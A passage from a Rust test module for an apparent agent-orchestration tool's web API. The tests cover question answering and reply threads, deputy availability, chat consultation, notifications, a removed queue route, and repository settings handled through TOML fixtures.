12664            })),
12665        )
12666        .await
12667        .unwrap_err();
12668        assert_eq!(
12669            error.text_reason,
12670            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12671        );
12672        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12673
12674        let mut text = Question::new(
12675            "task".into(),
12676            "ask".into(),
12677            "operator".into(),
12678            "Which name?".into(),
12679            String::new(),
12680            vec![],
12681        );
12682        ui.questions.put(&mut text).unwrap();
12683        let Json(view) = question_answer(
12684            State(ui.clone()),
12685            Path(text.id.clone()),
12686            Ok(Json(NewAnswer {
12687                choice: None,
12688                text: Some("chosen name".into()),
12689                ..Default::default()
12690            })),
12691        )
12692        .await
12693        .unwrap();
12694        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12695        assert!(!ui.questions.get(&text.id).unwrap().status.open());
12696    }
12697
12698    #[tokio::test]
12699    async fn question_text_handler_admission_without_transport() {
12700        let home = tempfile::tempdir().unwrap();
12701        let ui = delta_test_ui(home.path());
12702        let mut q = Question::new(
12703            "task".into(),
12704            crate::land::APPROVAL_NODE.into(),
12705            "land".into(),
12706            "May this PR merge?".into(),
12707            String::new(),
12708            vec!["hold".into()],
12709        );
12710        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12711        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12712        ui.questions.put(&mut q).unwrap();
12713        let say = || {
12714            Ok(Json(NewSay {
12715                body: "Explain the findings".into(),
12716            }))
12717        };
12718        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12719            .await
12720            .unwrap_err();
12721        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12722        let response = rejected.into_response();
12723        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12724            .await
12725            .unwrap();
12726        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12727        assert_eq!(body["code"], "question_text_unavailable");
12728        assert_eq!(body["reason"], "deputy_exhausted");
12729        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12730        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12731        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12732        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12733            .await
12734            .unwrap();
12735        assert_eq!(view.text_delivery.state, "live");
12736        assert!(view.question.waiter.is_none());
12737        assert!(view.question.cwd.is_none());
12738        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12739        ui.questions.drop_lease(&q.id);
12740        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12741            .await
12742            .unwrap_err();
12743        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12744        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12745        let _ = question_answer(
12746            State(ui.clone()),
12747            Path(q.id.clone()),
12748            Ok(Json(NewAnswer {
12749                choice: Some("hold".into()),
12750                text: None,
12751                ..Default::default()
12752            })),
12753        )
12754        .await
12755        .unwrap();
12756        assert_eq!(
12757            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12758            Some("hold")
12759        );
12760    }
12761
12762    #[tokio::test]
12763    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12764        let fx = Fixture::start().await;
12765        let store = fx.questions();
12766        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12767        store
12768            .update(&id, |q| {
12769                q.node = crate::land::APPROVAL_NODE.to_owned();
12770                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12771                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12772                Ok(())
12773            })
12774            .unwrap();
12775        let path = format!("/api/questions/{id}/say");
12776        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12777        assert_eq!(refused.status, 422, "{}", refused.body);
12778        assert!(
12779            refused.json()["error"]
12780                .as_str()
12781                .unwrap()
12782                .contains("deputy_exhausted")
12783        );
12784        assert!(store.get(&id).unwrap().thread.is_empty());
12785
12786        // A final live deputy is usable even with no ordinary waiter/cwd.
12787        store.beat(&id, ask::WaiterKind::Deputy);
12788        let view = fx.get("/api/questions").await.json();
12789        assert_eq!(view[0]["text_delivery"]["state"], "live");
12790        let accepted = fx
12791            .post(&path, Some(r#"{"body":"explain the findings"}"#))
12792            .await;
12793        assert_eq!(accepted.status, 200, "{}", accepted.body);
12794        let before = std::fs::read(store.path_of(&id)).unwrap();
12795
12796        // The recipient exits between rendering and sending. Rejection must
12797        // preserve previously accepted text, the answer and delivery cursor.
12798        store.drop_lease(&id);
12799        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12800        assert_eq!(refused.status, 422, "{}", refused.body);
12801        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12802        let held = fx
12803            .post(
12804                &format!("/api/questions/{id}/answer"),
12805                Some(r#"{"choice":"hold"}"#),
12806            )
12807            .await;
12808        assert_eq!(held.status, 200, "{}", held.body);
12809        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12810    }
12811
12812    #[tokio::test]
12813    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12814        let repo = tempfile::tempdir().unwrap();
12815        let mut cfg = stub_config();
12816        cfg.daemon.max_deputies = 0;
12817        std::fs::write(
12818            repo.path().join("magi.toml"),
12819            toml::to_string(&cfg).unwrap(),
12820        )
12821        .unwrap();
12822        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12823        let mut status = crate::daemon::Status::new();
12824        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12825        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12826        let id = ask(&fx, "Explain?", &["hold"]);
12827        fx.questions()
12828            .update(&id, |q| {
12829                q.node = crate::land::APPROVAL_NODE.into();
12830                q.deputy = Some(ask::Deputy::new("context".into()));
12831                q.deputy.as_mut().unwrap().agent = "stub".into();
12832                Ok(())
12833            })
12834            .unwrap();
12835        cfg.daemon.max_deputies = 1;
12836        std::fs::write(
12837            repo.path().join("magi.toml"),
12838            toml::to_string(&cfg).unwrap(),
12839        )
12840        .unwrap();
12841        let view = fx.get("/api/questions").await.json();
12842        assert_eq!(view[0]["deputies_enabled"], true);
12843        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12844        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12845        let res = fx
12846            .post(
12847                &format!("/api/questions/{id}/say"),
12848                Some(r#"{"body":"Please explain"}"#),
12849            )
12850            .await;
12851        assert_eq!(res.status, 422, "{}", res.body);
12852        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12853    }
12854
12855    #[tokio::test]
12856    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12857        let fx = Fixture::start().await;
12858        let id = ask(&fx, "No seat", &[]);
12859        let store = fx.questions();
12860        let before = std::fs::read(store.path_of(&id)).unwrap();
12861        let res = fx
12862            .post(
12863                &format!("/api/questions/{id}/say"),
12864                Some(r#"{"body":"hello"}"#),
12865            )
12866            .await;
12867        assert_eq!(res.status, 422, "{}", res.body);
12868        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12869        let res = fx
12870            .post(
12871                &format!("/api/questions/{id}/answer"),
12872                Some(r#"{"text":"hello"}"#),
12873            )
12874            .await;
12875        assert_eq!(res.status, 200, "{}", res.body);
12876        assert_eq!(
12877            store.get(&id).unwrap().resolution().as_deref(),
12878            Some("hello")
12879        );
12880    }
12881
12882    #[tokio::test]
12883    async fn saying_something_appends_a_turn_without_answering() {
12884        let fx = Fixture::start().await;
12885        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12886        fx.questions().beat(&id, ask::WaiterKind::Asker);
12887        let path = format!("/api/questions/{id}/say");
12888
12889        let res = fx
12890            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12891            .await;
12892        assert_eq!(res.status, 200, "{}", res.body);
12893        let body = res.json();
12894        assert_eq!(body["status"], "open", "talking back is not a decision");
12895        assert_eq!(body["answer"], Value::Null);
12896        assert_eq!(body["thread"][0]["who"], "operator");
12897        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12898        assert_eq!(body["waiting_on_agent"], true);
12899        // Still open, still counted, still exactly one question.
12900        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12901    }
12902
12903    #[tokio::test]
12904    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12905        let fx = Fixture::start().await;
12906        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12907
12908        let list = fx.get("/api/questions").await.json();
12909        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12910
12911        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12912        assert_eq!(res.status, 409, "{}", res.body);
12913        let q = fx.questions().get(&id).unwrap();
12914        assert!(q.status.open());
12915        assert!(q.consult.is_none());
12916    }
12917
12918    #[tokio::test]
12919    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12920        let fx = Fixture::start().await;
12921        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12922        let cfg = Config {
12923            agents: vec![crate::config::AgentSpec {
12924                id: "mock".to_owned(),
12925                kind: crate::config::AgentKind::Command,
12926                model: None,
12927                command: vec!["true".to_owned()],
12928                extra_args: Vec::new(),
12929                env: Default::default(),
12930                prompt_delivery: None,
12931                max_turn_secs: None,
12932            }],
12933            ..Config::default()
12934        };
12935        let talk = crate::talk::begin(
12936            &fx.talks(),
12937            &cfg,
12938            fx.home.path().to_path_buf(),
12939            Some("mock"),
12940        )
12941        .unwrap();
12942        let mut task = Task::new(
12943            "t".to_owned(),
12944            "Do it".to_owned(),
12945            PathBuf::from("/repo/magi"),
12946            Source::Agent {
12947                run: talk.id.clone(),
12948                node: crate::queue::CHAT_NODE.to_owned(),
12949            },
12950        );
12951        task.start("20260902-000000-beef".to_owned());
12952        fx.queue().put(&mut task).unwrap();
12953
12954        let list = fx.get("/api/questions").await.json();
12955        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12956        assert_eq!(
12957            list[0]["choices"],
12958            serde_json::json!(["SQLite", "Redis"]),
12959            "the hand-over is never a choice"
12960        );
12961        fx.questions()
12962            .update(&id, |q| {
12963                q.node = crate::land::APPROVAL_NODE.into();
12964                q.choices = vec!["merge".into(), "hold".into()];
12965                Ok(())
12966            })
12967            .unwrap();
12968        let list = fx.get("/api/questions").await.json();
12969        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12970        assert_eq!(list[0]["can_consult_chat"], true);
12971        fx.questions()
12972            .update(&id, |q| {
12973                q.node = crate::bump::NOTICE_NODE.into();
12974                Ok(())
12975            })
12976            .unwrap();
12977        let list = fx.get("/api/questions").await.json();
12978        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12979        assert_eq!(list[0]["can_consult_chat"], false);
12980    }
12981
12982    #[tokio::test]
12983    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12984        let fx = Fixture::start().await;
12985        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12986        fx.questions()
12987            .update(&id, |q| {
12988                q.node = crate::land::APPROVAL_NODE.into();
12989                q.choices = vec!["merge".into(), "hold".into()];
12990                Ok(())
12991            })
12992            .unwrap();
12993        let cfg = Config {
12994            agents: vec![crate::config::AgentSpec {
12995                id: "mock".to_owned(),
12996                kind: crate::config::AgentKind::Command,
12997                model: None,
12998                command: vec!["true".to_owned()],
12999                extra_args: Vec::new(),
13000                env: Default::default(),
13001                prompt_delivery: None,
13002                max_turn_secs: None,
13003            }],
13004            ..Config::default()
13005        };
13006        // Not a git working tree, so its `magi.toml` is read from disk.
13007        let repo = fx.home.path().join("chat-repo");
13008        std::fs::create_dir_all(&repo).unwrap();
13009        let toml = repo.join("magi.toml");
13010        std::fs::write(&toml, "this is = = not toml").unwrap();
13011        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13012        let mut task = Task::new(
13013            "t".to_owned(),
13014            "Do it".to_owned(),
13015            PathBuf::from("/repo/magi"),
13016            Source::Agent {
13017                run: talk.id.clone(),
13018                node: crate::queue::CHAT_NODE.to_owned(),
13019            },
13020        );
13021        task.start("20260902-000000-beef".to_owned());
13022        fx.queue().put(&mut task).unwrap();
13023
13024        let path = format!("/api/questions/{id}/consult");
13025        let res = fx.post(&path, None).await;
13026        assert!(res.status >= 400, "{}", res.body);
13027        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13028        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13029
13030        std::fs::write(&toml, "").unwrap();
13031        let res = fx.post(&path, None).await;
13032        assert_eq!(res.status, 202, "{}", res.body);
13033        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13034        let q = fx.questions().get(&id).unwrap();
13035        assert!(q.status.open());
13036        assert!(q.answer.is_none());
13037        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13038        assert_eq!(res.json()["can_consult_chat"], true);
13039        let list = fx.get("/api/questions").await.json();
13040        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13041        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13042
13043        let res = fx
13044            .post(
13045                &format!("/api/questions/{id}/answer"),
13046                Some(r#"{"choice":"hold"}"#),
13047            )
13048            .await;
13049        assert_eq!(res.status, 200, "{}", res.body);
13050        assert_eq!(res.json()["answer"]["choice"], "hold");
13051        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13052        assert_eq!(res.json()["can_consult_chat"], false);
13053        assert_eq!(fx.post(&path, None).await.status, 409);
13054
13055        let mut talk = fx.talks().get(&talk.id).unwrap();
13056        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13057        let list = fx.get("/api/questions").await.json();
13058        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13059        assert_eq!(list[0]["origin_chat_closed"], true);
13060        assert_eq!(list[0]["can_consult_chat"], false);
13061
13062        fx.talks().remove(&talk.id).unwrap();
13063        let list = fx.get("/api/questions").await.json();
13064        assert_eq!(list[0]["origin_chat"], Value::Null);
13065        assert_eq!(list[0]["origin_chat_closed"], false);
13066        assert_eq!(list[0]["can_consult_chat"], false);
13067    }
13068
13069    #[tokio::test]
13070    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13071        let fx = Fixture::start().await;
13072        let store = fx.questions();
13073        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13074        store.beat(&id, ask::WaiterKind::Asker);
13075        assert_eq!(
13076            fx.get("/api/health").await.json()["questions_needs_owner"],
13077            1
13078        );
13079
13080        // The owner asks back instead of deciding: the ask bar, the nav badge
13081        // and the title must stop naming this question, because there is
13082        // nothing to decide until the agent answers - `status` alone cannot
13083        // say that, which is the whole reason `questions_needs_owner` exists
13084        // alongside `questions_open`.
13085        let res = fx
13086            .post(
13087                &format!("/api/questions/{id}/say"),
13088                Some(r#"{"body":"why not Postgres?"}"#),
13089            )
13090            .await;
13091        assert_eq!(res.status, 200, "{}", res.body);
13092        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13093        assert_eq!(
13094            fx.get("/api/health").await.json()["questions_needs_owner"],
13095            0,
13096            "waiting on the agent is not waiting on the owner"
13097        );
13098
13099        // `magi ask --thread` replying is what brings the owner count back -
13100        // the same event that would resume the CLI call blocked in `magi
13101        // ask`.
13102        let mut q = store.get(&id).expect("get");
13103        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13104            .expect("reply");
13105        store.put(&mut q).expect("put");
13106        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13107        assert_eq!(
13108            fx.get("/api/health").await.json()["questions_needs_owner"],
13109            1,
13110            "the agent's reply is what should light the banner back up"
13111        );
13112    }
13113
13114    #[tokio::test]
13115    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13116        let fx = Fixture::start().await;
13117        let store = fx.questions();
13118
13119        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13120        let res = fx
13121            .post(
13122                &format!("/api/questions/{empty_id}/say"),
13123                Some(r#"{"body":"   "}"#),
13124            )
13125            .await;
13126        assert_eq!(res.status, 400, "{}", res.body);
13127
13128        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13129        let mut answered = store.get(&answered_id).expect("get");
13130        answered
13131            .answer(Answer::Choice("SQLite".to_owned()))
13132            .expect("answer");
13133        store.put(&mut answered).expect("put");
13134        let res = fx
13135            .post(
13136                &format!("/api/questions/{answered_id}/say"),
13137                Some(r#"{"body":"still there?"}"#),
13138            )
13139            .await;
13140        assert_eq!(res.status, 409, "{}", res.body);
13141
13142        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13143        let mut abandoned = store.get(&abandoned_id).expect("get");
13144        abandoned.abandon("timed out");
13145        store.put(&mut abandoned).expect("put");
13146        let res = fx
13147            .post(
13148                &format!("/api/questions/{abandoned_id}/say"),
13149                Some(r#"{"body":"still there?"}"#),
13150            )
13151            .await;
13152        assert_eq!(res.status, 409, "{}", res.body);
13153    }
13154
13155    #[tokio::test]
13156    async fn an_answer_the_question_does_not_offer_is_refused() {
13157        let fx = Fixture::start().await;
13158        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13159        let path = format!("/api/questions/{id}/answer");
13160
13161        for body in [
13162            r#"{"choice":"Postgres"}"#,
13163            r#"{"text":"whatever you think"}"#,
13164            r#"{"choice":"Redis","text":"both"}"#,
13165            r#"{}"#,
13166        ] {
13167            let res = fx.post(&path, Some(body)).await;
13168            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13169            assert!(res.json()["error"].is_string(), "{}", res.body);
13170        }
13171        // Nothing above may have answered it.
13172        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13173    }
13174
13175    #[tokio::test]
13176    async fn a_free_text_question_takes_text_and_not_a_choice() {
13177        let fx = Fixture::start().await;
13178        let id = ask(&fx, "What should the flag be called?", &[]);
13179        fx.questions().beat(&id, ask::WaiterKind::Asker);
13180        let path = format!("/api/questions/{id}/answer");
13181
13182        assert_eq!(
13183            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13184            400
13185        );
13186        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13187        assert_eq!(res.status, 200, "{}", res.body);
13188        assert_eq!(res.json()["answer"]["text"], "--json");
13189    }
13190
13191    #[tokio::test]
13192    async fn an_unknown_question_is_a_json_404() {
13193        let fx = Fixture::start().await;
13194        let res = fx
13195            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13196            .await;
13197        assert_eq!(res.status, 404, "{}", res.body);
13198        assert!(res.json()["error"].is_string());
13199    }
13200
13201    #[tokio::test]
13202    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13203        let fx = Fixture::start().await;
13204        let questions = Questions::at(fx.home.path().join("questions"));
13205        let store = Notices::at(fx.home.path().join("notifications"));
13206        let mut q = ask::Question::new(
13207            "t1".into(),
13208            "conduct".into(),
13209            "conductor".into(),
13210            "Continue?".into(),
13211            String::new(),
13212            Vec::new(),
13213        );
13214        questions.put(&mut q).unwrap();
13215        let mut n = Notice::warn("task:t1", "Task t1 is held.");
13216        n.covered_by = Some(q.id.clone());
13217        let n = store.raise(n).unwrap();
13218        let listed = fx.get("/api/notifications").await.json();
13219        assert_eq!(listed["items"][0]["answerable_question"], q.id);
13220        questions
13221            .update(&q.id, |q| {
13222                q.abandon("run gone");
13223                Ok(())
13224            })
13225            .unwrap();
13226        let listed = fx.get("/api/notifications").await.json();
13227        assert!(listed["items"][0]["answerable_question"].is_null());
13228        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13229        assert!(
13230            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13231                .unwrap()
13232                .contains("answerable_question")
13233        );
13234    }
13235
13236    #[tokio::test]
13237    async fn notifications_list_read_dismiss_and_health_agree() {
13238        let fx = Fixture::start().await;
13239        let store = Notices::at(fx.home.path().join("notifications"));
13240        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
13241        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
13242
13243        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
13244        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
13245
13246        store
13247            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
13248            .unwrap();
13249        let health = fx.get("/api/health").await.json();
13250        assert_eq!(health["notifications_unread"], 2);
13251        assert_ne!(
13252            health["notifications_rev"], rev0,
13253            "the badge must move live"
13254        );
13255
13256        let listed = fx.get("/api/notifications").await.json();
13257        assert_eq!(listed["unread"], 2);
13258        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
13259        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
13260
13261        let read = fx
13262            .post(&format!("/api/notifications/{}/read", a.id), None)
13263            .await;
13264        assert_eq!(read.status, 200, "{}", read.body);
13265        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
13266
13267        let gone = fx
13268            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
13269            .await;
13270        assert_eq!(gone.status, 200, "{}", gone.body);
13271        let listed = fx.get("/api/notifications").await.json();
13272        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13273        assert_eq!(listed["unread"], 0);
13274
13275        store.raise(Notice::info("x", "again")).unwrap();
13276        let all = fx.post("/api/notifications/read-all", None).await;
13277        assert_eq!(all.status, 200, "{}", all.body);
13278        assert_eq!(all.json()["marked"], 1);
13279        assert_eq!(
13280            fx.get("/api/health").await.json()["notifications_unread"],
13281            0
13282        );
13283
13284        let missing = fx.post("/api/notifications/nope/read", None).await;
13285        assert_eq!(missing.status, 404, "{}", missing.body);
13286        assert!(missing.json()["error"].is_string());
13287    }
13288
13289    /// New work reaches the queue through `magi task add`, a standing talk's
13290    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
13291    /// so the compose form and that route are gone. The tests that covered
13292    /// that route's validation went with it, and nothing was left asserting
13293    /// it stays gone — so a re-added handler would silently let the phone
13294    /// file briefs no one validated.
13295    #[tokio::test]
13296    async fn a_task_cannot_be_filed_over_the_phone_directly() {
13297        let f = Fixture::start().await;
13298
13299        let res = f
13300            .post(
13301                "/api/queue",
13302                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
13303            )
13304            .await;
13305
13306        assert_eq!(
13307            res.status, 405,
13308            "POST /api/queue must not be a route: {}",
13309            res.body
13310        );
13311        assert!(
13312            f.queue().list().is_empty(),
13313            "a task filed by a route that does not exist must not reach the disk"
13314        );
13315        // The path itself is still served — the Queue view reads it — and the
13316        // per-task controls are untouched by the entry being removed.
13317        assert_eq!(f.get("/api/queue").await.status, 200);
13318    }
13319
13320    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
13321    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
13322        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
13323            .expect("checkout dir");
13324    }
13325
13326    /// Two command agents, so a config needs no real CLI.
13327    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13328
13329    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13330        let tmp = TempDir::new().expect("tempdir");
13331        let repo = tmp.path().join("repo");
13332        std::fs::create_dir_all(&repo).expect("repo dir");
13333        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13334        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13335        if let Some(text) = machine_toml {
13336            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13337            std::fs::write(&machine, text).expect("machine toml");
13338        }
13339        (tmp, repo, machine)
13340    }
13341
13342    async fn settings_checkout(path: &FsPath, text: &str) {
13343        std::fs::create_dir_all(path).unwrap();
13344        std::fs::write(path.join("magi.toml"), text).unwrap();
13345        for args in [
13346            vec!["init", "-b", "main"],
13347            vec!["add", "magi.toml"],
13348            vec![
13349                "-c",
13350                "user.name=Test",
13351                "-c",
13352                "user.email=test@example.invalid",
13353                "commit",
13354                "-m",
13355                "fixture",
13356            ],
13357            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13358            vec![
13359                "symbolic-ref",
13360                "refs/remotes/origin/HEAD",
13361                "refs/remotes/origin/main",
13362            ],
13363        ] {
13364            crate::git::git(path, &args).await.unwrap();
13365        }
13366    }
13367
13368    #[tokio::test]
13369    async fn settings_context_handlers_validate_and_save_without_a_socket() {
13370        let (tmp, repo, machine) =
13371            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13372        let root = tmp.path().join("roots");
13373        let selected = root.join("host/owner/selected");
13374        settings_checkout(
13375            &selected,
13376            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13377        )
13378        .await;
13379        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13380        let before = std::fs::read(&machine).unwrap();
13381        let ui = Arc::new(
13382            Ui::new(
13383                Queue::at(tmp.path().join("queue")),
13384                Questions::at(tmp.path().join("questions")),
13385                Talks::at(tmp.path().join("talks")),
13386                tmp.path().join("runs"),
13387                tmp.path().to_path_buf(),
13388                repo.clone(),
13389            )
13390            .with_machine_config(Some(machine.clone())),
13391        );
13392        let query = || {
13393            Query(SettingsQuery {
13394                repo: Some(selected.clone()),
13395            })
13396        };
13397        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13398        assert!(v.error.is_none(), "{:?}", v.error);
13399        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13400        assert_eq!(conductor.source, "repo");
13401        assert_eq!(
13402            conductor.machine_value,
13403            Some(toml::Value::String("a".into()))
13404        );
13405        assert!(!conductor.editable);
13406        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13407        assert_eq!(
13408            judges.count.as_ref().unwrap().machine_value,
13409            Some(toml::Value::Integer(1))
13410        );
13411        assert!(
13412            !v.roles
13413                .iter()
13414                .find(|r| r.key == "reviewers")
13415                .unwrap()
13416                .editable
13417        );
13418        let unknown = || {
13419            Query(SettingsQuery {
13420                repo: Some(tmp.path().to_path_buf()),
13421            })
13422        };
13423        assert_eq!(
13424            settings_get(State(ui.clone()), unknown())
13425                .await
13426                .unwrap_err()
13427                .status,
13428            StatusCode::UNPROCESSABLE_ENTITY
13429        );
13430        let body = || {
13431            Ok(Json(RolesBody {
13432                revision: v.revision.clone(),
13433                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13434                counts: Default::default(),
13435            }))
13436        };
13437        assert_eq!(
13438            settings_put_roles(State(ui.clone()), unknown(), body())
13439                .await
13440                .unwrap_err()
13441                .status,
13442            StatusCode::UNPROCESSABLE_ENTITY
13443        );
13444        assert_eq!(std::fs::read(&machine).unwrap(), before);
13445        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13446            .await
13447            .unwrap();
13448        assert_eq!(
13449            saved.repo,
13450            selected.canonicalize().unwrap().display().to_string()
13451        );
13452        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13453        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13454        // A cache miss refreshes the stable candidate list exactly for validation.
13455        let fresh = root.join("host/owner/fresh");
13456        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13457        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13458            .await
13459            .unwrap();
13460        assert_eq!(fresh_view.repositories.len(), 3);
13461    }
13462
13463    #[tokio::test]
13464    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13465        let (tmp, repo, machine) = settings_dirs(
13466            "[roles]\nreviewers = [\"a\"]\n",
13467            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13468        );
13469        let root = tmp.path().join("roots");
13470        let selected = root.join("host/owner/selected");
13471        settings_checkout(
13472            &selected,
13473            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13474        )
13475        .await;
13476        let broken = root.join("host/owner/broken");
13477        settings_checkout(&broken, "[roles\nbroken").await;
13478        let machine_text = format!(
13479            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13480            toml::Value::String(root.display().to_string())
13481        );
13482        std::fs::write(&machine, &machine_text).unwrap();
13483        let originals: Vec<_> = [&repo, &selected, &broken]
13484            .iter()
13485            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13486            .collect();
13487        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13488        let default = f.get("/api/settings").await.json();
13489        assert_eq!(
13490            default["repo"],
13491            repo.canonicalize().unwrap().display().to_string()
13492        );
13493        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13494        let query = format!("?repo={}", selected.display());
13495        let res = f.get(&format!("/api/settings{query}")).await;
13496        assert_eq!(res.status, 200, "{}", res.body);
13497        let v = res.json();
13498        assert!(v["error"].is_null(), "{v}");
13499        assert_eq!(v["repositories"], default["repositories"]);
13500        let role = |key: &str| {
13501            v["roles"]
13502                .as_array()
13503                .unwrap()
13504                .iter()
13505                .find(|r| r["key"] == key)
13506                .unwrap()
13507        };
13508        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
